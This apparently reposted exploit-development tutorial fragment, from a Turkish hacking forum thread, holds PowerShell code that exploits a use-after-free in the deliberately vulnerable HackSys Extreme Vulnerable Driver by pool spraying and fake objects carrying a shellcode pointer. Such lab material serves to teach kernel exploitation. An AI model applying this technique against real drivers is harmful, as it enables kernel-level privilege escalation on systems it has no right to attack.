$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
***
if ($hDevice -eq -1) {
****echo "`n[!] Unable to get driver handle..`n"
****Return
} else {
****echo "`n[>] Driver information.."
****echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
****echo "[+] Handle: $hDevice"
}
*
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
*
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
*
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
*
# Fake Object al********
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = $ShellcodePointer + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
****[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
*
# Trigger stale callback
#---
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
SOURCE: https://www.fuzzysecurity.com/tutorials/expDev/19.html
TRANSLATOR: @Dolyetyus
Windows Exploit Geliştirme Serisi #15 | Kernel Sömürüsü-> UAF
Cyber Security0 Mesaj
●36 Görüntüleme
- ReadBull.net
- Hack - Warez Forumları
- Security
- Cyber Security
- Windows Exploit Geliştirme Serisi #15 | Kernel Sömürüsü-> UAF
-
23-09-2020, 17:08:20